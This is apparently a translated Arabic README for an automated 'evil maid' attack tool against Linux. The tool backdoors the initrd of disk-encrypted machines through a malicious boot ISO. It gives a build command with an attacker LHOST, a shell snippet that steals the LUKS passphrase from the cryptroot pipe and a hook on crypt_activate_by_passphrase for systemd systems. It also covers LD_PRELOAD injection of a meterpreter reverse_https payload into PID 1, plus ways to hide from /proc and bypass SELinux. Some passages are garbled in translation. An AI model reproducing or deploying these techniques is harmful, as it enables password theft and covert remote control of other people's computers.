
هجوم الخادمة الشريرة الآلي على لينكس

.so إلى /sbin/init عند الإقلاع، مما يؤدي إلى إسقاط شلLD_PRELOAD .so إلى DefaultEnviroment، يتم تحميله عالميًا، مما يؤدي إلى إسقاط شل.python/meterpreter/reverse_https إلى وقت التجميع LHOSTgetenv PASSWORD)انظر Makefile لمزيد من المعلومات/التكوين، LHOST مطلوب في البيئة لبناء .so حيث يتم تمرير msfvenom عبر الأنابيب في وقت التجميع. من الضروري أيضًا تثبيت libcrypsetup-dev (أو ما يعادله) على جهاز البناء.
تعليمات عامة (بناء صورة ISO في المجلد الحالي):
LHOST=192.168.56.101 make rev.so iso
الخيارات التالية تم إلحاقها بإقلاع النواة:
mc superuser nodhcp quiet loglevel=0
علاوة على ذلك، تم تعيين قيمة prompt إلى 0 للسماح بالتنفيذ الآلي بالكامل.
الوقت التقريبي للإقلاع الخبيث -> الوقت المخترق: حوالي دقيقتين الوقت التقريبي للإقلاع الشرعي -> الشل حوالي 90 ثانية (قابلة للتكوين، نريد تشغيل الشبكة قبلنا)
core.d هو ملف core.gz غير مضغوط من TinyCore مع الحزم التالية المدمجة فيه.
Core-current هو ملف Core-current.iso غير مضغوط.
تم تثبيت الحزم التالية داخل tinycore (دعم بايثون، نظام الملفات):
على الأقل، التوقيع يكون كالتالي:
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS هو اسم فريد لنظام التشغيل هذا.IDENTIFIER هو أمر شل لديه كود خروج 0 عند تشغيله ضد initrd الصحيح، و!0 لأي شيء آخر.ROOT هو المسار الكامل أو المتغير حيث يتم تركيب الجذر الجديد بعد فك التشفير.FILENAME هو المسار الكامل لإسقاط ثنائينا على نظام الملفات الجذر. احرص على معرفة ما يركبه initrd وما يتم تركيبه لاحقًا.INITRDFILENAME هو المسار الكامل للثنائي داخل initrd. يتم نسخ هذا داخل Makefile (cp ... core.d/...) لذا يجب أن يتطابق.بعد ذلك، يتم تشغيل كل ثلاثية من *FILE و*PRE و*POST ضد initrd كـ re.sub (مثل re.sub(*PRE, *POST, *FILE)). يتم توسيع محتويات *PRE و*POST باستخدام .format(**config[detectedOS])، لذا لا تتردد في توسيع توقيعك لحقن العناصر.
لا يوجد حد لعدد الاستبدالات التي يمكنك تشغيلها.
\\1 سيتوسع إلى المحتوى الكامل للمطابقة (*PRE) عند استخدامه داخل الاستبدال (*POST).| $تم اختيار حمولة metasploit python/meterpreter/reverse_https لأنها أكثر استقلالية عن المنصة من حمولات linux/*/meterpreter/reverse_tcp. يبدو أن python مثبت افتراضيًا على جميع الأنظمة التي تم اختبارها.
افتراضيًا، يتم إنشاء الحمولة في وقت التجميع وتمريرها عبر الأنابيب إلى ملف .c كـ #define. هذا يسهل التكرارات، لكنه ليس صعبًا لحفظ الحمولة وإدخالها يدويًا.
الأنظمة المبنية على دبيان (Debian, Ubuntu etc) تستخدم صورة cpio مضغوطة (gzipped) كـ initramfs. تحتوي هذه على سكريبت /init الافتراضي الذي يعمل على تحضير النظام للإقلاع الكامل. يتضمن ذلك طلب كلمة المرور من المستخدم وتركيب نظام الملفات الجذر المشفر.
لإسقاط ملف .so الخاص بنا، ننتظر حتى يتم تركيب نظام الملفات الجذر (أي بعد أن يُطلب من المستخدم كلمة المرور) وننسخ ملف .so إلى نظام ملفات /dev. تم اختيار نظام ملفات /dev لأنه يمكن الوصول إليه قبل تحويل rootfs مباشرة وهو تركيب قائم على الذاكرة. هذا يعني أن ملف .so الخاص بنا لن يلمس القرص.
لاستخدام ملف .so المُسقط فعليًا، نستخدم بعد ذلك متغير البيئة LD_PRELOAD في استدعاء switch_root. يتم تمرير هذا المتغير إلى جميع الملفات التنفيذية الفرعية، وبالتالي سيكون لدى سكريبت /sbin/init النهائي الوحدة المحملة. للحفاظ على هذا هادئًا نسبيًا، نتحقق مما كنا محملين في /sbin/init، وإذا كان الأمر كذلك، نقوم بإلغاء تعيين متغير LD_PRELOAD وحذف ملف .so. يمكن تعطيل هذه الوظيفة بسهولة إذا أردنا ربط تطبيقات معينة.
لفرض تنفيذ ملف .so، افتراضيًا بعد التحميل، نستخدم علامة gcc -Wl,-init,shell، حيث shell هي وظيفتنا الرئيسية. هذا يحدد الوظيفة التي نريد استدعاءها عند تهيئة ملف .so. اعتبر هذا مماثلاً لـ DllMain في ويندوز.
الجزء من سكريبت init المسؤول عن طلب كلمة المرور من المستخدم وتركيب نظام الملفات الجذر هو كما يلي:
scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
الجزء المهم بالنسبة لنا هو حيث يتم تمرير مخرجات $cryptkeyscript عبر الأنبوب إلى $cryptcreate. $cryptkeyscript هو طالب كلمة المرور، و$cryptcreate هو مركب القرص. هذا الأنبوب يسهل علينا الهجوم. نقوم بإدراج الكود التالي حيث يوجد الأنبوب لكتابة كلمة المرور إلى نهاية ملف .so الخاص بنا:
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
سيقرأ هذا كلمة المرور في المتغير $P، ويكتبها إلى نهاية ملف .so ويعيد صدىها مرة أخرى. سيكون هذا الكود شفافًا لأغراض $cryptkeyscript و$cryptcreate، لكن سيكون له تأثير جانبي يتمثل في استخراج كلمة المرور. نستخدم \\\\\\\\x00 لإضافة بايت فارغ (مع مراعاة مستويات عديدة من الهروب من الشل) قبل كلمة المرور. هذا يسهل على ملف .so قراءة كلمة المرور مرة أخرى، حيث يحتاج فقط إلى القراءة للخلف من نهايته حتى يرى بايتًا فارغًا.
لتوفير كلمة المرور هذه للمهاجم، يتم استخدامها كمتغير بيئة في استدعاء الحمولة. وهذا يعني أن المهاجم يمكنه ببساطة استخدام أمر meterpreter getenv PASSWORD لاسترجاع كلمة المرور.
بسبب طريقة تحميل ملف .so، سيكون هناك مراجع له في كل من /proc/1/maps و/proc/1/environ.
ملف maps هو قائمة بالوحدات المحملة. المقتطف التالي يظهر محتويات هذا الملف. لاحظ (deleted)، قد يثير الشكوك. ومع ذلك، على عكس الثنائيات العادية، لا يمكن الوصول إلى ملف .so دون استخراجه مباشرة من الذاكرة بعد حذفه.
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264 /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264 /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264 /dev/hda1 (deleted)
ملف environ هو قائمة مفصولة بـ NULL من متغيرات البيئة عند الاستدعاء. نظرًا لأنه من الاستدعاء، فإن أي تعديلات نقوم بها في وقت التشغيل (إلغاء تعيين LD_PRELOAD) لن تنعكس.
في كلتا الحالتين، لأننا يمكن أن نكون متصلين بأي وجميع عمليات النظام، يمكننا ببساطة ربط وظيفة read(2) وإزالة أي مراجع لنا.
Kali هي حالة خاصة نوعًا ما. لديها cpio المتسلسل كما ذكر أدناه، لكنها لا تستخدم systemd للإقلاع. وعلى هذا النحو، تم تعميم قاعدة نظام DRACUT بحيث تستخرج بشكل أعمى، ثم يلتقط اكتشاف نظام التشغيل الثاني Kali.
إذا أضفت نظام تشغيل مع cpio يحتوي فقط على kernel/x86/microcode/GenuineIntel.bin، فيجب أن تكون قاعدة IDENTIFIER لـ cpio الملحق، حيث سنجده ونستخرجه تلقائيًا.
هذه الأنظمة لها تنسيق مختلف لصورة initrd مقارنة بالأنظمة المبنية على دبيان. ملفات initrd المخزنة في /boot هي أرشيف cpio شبه فارغ، مع أرشيف cpio مضغوط (gzipped) ملحق. هذا الأرشيف الثاني هو الذي يحتوي على initramfs. لفك هذا الأرشيف الثاني، من الضروري تحليل أرشيف cpio الأول للعثور على النهاية. بدلاً من ذلك، يمكنك العثور على السلسلة TRAILER!!! والقراءة حتى تجد السحر gzip (\x1f\x8b).
فرق آخر لهذه الأنظمة هو أنها مبنية على systemd، وبالتالي فإن الملف التنفيذي /init في initramfs هو رابط رمزي للثنائي systemd، بدلاً من سكريبت sh مسطح. لتجاوز هذا القيد، من الضروري تعديل ملفات .service المتعلقة بتركيب نظام الملفات الجذر.
يحتوي الملف usr/lib/systemd/system/initrd-switch-root.service على السكريبت المستخدم للتحول إلى الجذر الجديد المُفك تشفيره. باستخدام براغما ExecStartPre، من الممكن تنفيذ برامج أخرى قبل حدوث التحول.
SELinux موجود على CentOS، مما يقيد استخدام LD_PRELOAD. أحد المسارات العاملة هو /lib. تم تحديد هذا عن طريق قراءة الملف في /etc/selinux/targeted/modules/active/file_contexts لموقع موسوم بـ system_u:object_r:lib_t.
نظرًا لأن systemd يستدعي clearenv() قبل تحويل الجذر، فإن متغير LD_PRELOAD الخاص بنا يتم مسحه. لتجاوز هذا، يمكننا ربط clearenv()، واستبدال البيئة دائمًا بـ LD_PRELOAD فقط. ومع ذلك، لتحقيق ذلك، نحتاج أن نكون PID 1 داخل initrd. هذا أصعب لأنه ليس من الممكن حقن LD_PRELOAD في هذه العملية. للتغلب على هذا، قمنا باستبدال /init بسكريبت bash shell على النحو التالي:
#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd
يعمل هذا لأن /init هو مجرد رابط رمزي لـ /usr/lib/systemd/systemd. يتم استخدام exec بحيث تحتفظ العملية بـ PID الأصلي (1).
بمجرد تنفيذ هذا، وتحييد clearenv()، يصبح من الممكن تعيين LD_PRELOAD لـ PID 1 الحقيقي داخل الجذر الجديد.
يتعامل systemd مع كلمات المرور لأنظمة الملفات المشفرة بشكل مختلف تمامًا عن سكريبتات init المبنية على دبيان. يتم تمرير كلمات المرور باستخدام مآخذ Unix التي تسمح لك بإرسال بيانات الاعتماد. لتجاوز هذا التعقيد، كانت أسهل طريقة وجدناها للوصول إلى كلمة المرور هي ربط وظيفة crypt_activate_by_passphrase من libcryptsetup. الأجزاء ذات الصلة من إعلان الوظيفة هي كما يلي:
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);
للوصول إلى كلمة المرور، نقوم ببساطة بربط هذه الوظيفة، وحفظ passphrase في ملف واستدعاء الوظيفة الأصلية التي تم الحصول عليها بواسطة dlsym(RTLD_NEXT, ...). كما هو مذكور أعلاه، قمنا بإلحاق كلمة المرور الخاصة بنا بملف .so بحيث يكون قادرًا على تحليل نفسه وجعل كلمة المرور متاحة لـ meterpreter.
كما هو مذكور أعلاه، يظهر ملف .so في /proc/1/maps و/proc/1/environ ومخرجات ps.